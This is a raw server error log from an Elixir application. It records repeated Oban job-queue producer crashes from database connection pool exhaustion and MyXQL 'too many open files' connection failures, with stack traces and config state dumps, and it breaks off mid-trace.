State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "default"}}}}, meta: %{name: Oban, node: "demo", queue: "default", started_at: ~U[2026-09-05 22:54:14.240983Z], limit: 10, uuid: "ed7a76d8-a90e-4d62-b311-da445f82e3b2", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 22:54:14.240989Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "default"}}}}, dispatch_timer: #Reference<0.2525715032.1068236804.241401>, refresh_timer: #Reference<0.2525715032.1121189889.99972>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 22:54:26.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "low"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1041ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "low"}}}}, meta: %{name: Oban, node: "demo", queue: "low", started_at: ~U[2026-09-05 22:54:14.242695Z], limit: 5, uuid: "6c45f845-610e-4520-913a-6f4ee9a4d448", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 22:54:14.242700Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "low"}}}}, dispatch_timer: #Reference<0.2525715032.1068236804.241399>, refresh_timer: #Reference<0.2525715032.1068236804.241390>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 22:54:26.235000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "reports"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1092ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "reports"}}}}, meta: %{name: Oban, node: "demo", queue: "reports", started_at: ~U[2026-09-05 22:54:14.240672Z], limit: 3, uuid: "a34e6243-854f-44ac-afde-0aee0e9cd560", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 22:54:14.240680Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "reports"}}}}, dispatch_timer: #Reference<0.2525715032.1068236804.241403>, refresh_timer: #Reference<0.2525715032.1099169794.249648>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 22:54:26.235000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "high"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1067ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "high"}}}}, meta: %{name: Oban, node: "demo", queue: "high", started_at: ~U[2026-09-05 22:54:14.242533Z], limit: 50, uuid: "9c297eed-4280-4c27-9405-385c927aa1da", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 22:54:14.242539Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "high"}}}}, dispatch_timer: #Reference<0.2525715032.1068236804.241400>, refresh_timer: #Reference<0.2525715032.1068236804.241383>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 22:54:26.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "webhooks"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 807ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "webhooks"}}}}, meta: %{name: Oban, node: "demo", queue: "webhooks", started_at: ~U[2026-09-05 22:54:14.242695Z], limit: 5, uuid: "46eafa27-f441-44d3-b8aa-36ee3aa94861", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 22:54:14.242700Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "webhooks"}}}}, dispatch_timer: #Reference<0.2525715032.1068236804.241402>, refresh_timer: #Reference<0.2525715032.1099169794.249673>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 22:54:26.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "mailers"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 843ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "mailers"}}}}, meta: %{name: Oban, node: "demo", queue: "mailers", started_at: ~U[2026-09-05 22:54:14.241990Z], limit: 20, uuid: "00fcfd82-4ff9-428a-9d4f-4fbcf81c690b", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 22:54:14.241996Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "mailers"}}}}, dispatch_timer: #Reference<0.2525715032.1068236804.241398>, refresh_timer: #Reference<0.2525715032.1068236804.241375>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 22:54:26.421000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.592.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 22:54:29.136000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.584.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 22:54:29.721000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.588.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 22:54:31.944000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.585.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 22:54:32.381000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.590.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 22:54:38.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "reports"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1051ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "reports"}}}}, meta: %{name: Oban, node: "demo", queue: "reports", started_at: ~U[2026-09-05 22:54:26.241157Z], limit: 3, uuid: "daf5dd4b-277f-4041-a0db-a128ccdb08b6", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 22:54:26.241162Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "reports"}}}}, dispatch_timer: #Reference<0.2525715032.1121189889.100040>, refresh_timer: #Reference<0.2525715032.1121189889.100036>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 22:54:38.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "webhooks"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 832ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "webhooks"}}}}, meta: %{name: Oban, node: "demo", queue: "webhooks", started_at: ~U[2026-09-05 22:54:26.244337Z], limit: 5, uuid: "e0ced0b0-d5c3-46c1-be38-19adc6b385f5", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 22:54:26.244343Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "webhooks"}}}}, dispatch_timer: #Reference<0.2525715032.1068236804.241800>, refresh_timer: #Reference<0.2525715032.1121189889.100058>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 22:54:38.237000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "high"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 838ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "high"}}}}, meta: %{name: Oban, node: "demo", queue: "high", started_at: ~U[2026-09-05 22:54:26.241457Z], limit: 50, uuid: "13317ef7-9a45-4f7f-824c-3de27db2f617", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 22:54:26.241462Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "high"}}}}, dispatch_timer: #Reference<0.2525715032.1121189889.100098>, refresh_timer: #Reference<0.2525715032.1121189889.100047>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 22:54:38.235000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "mailers"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1018ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
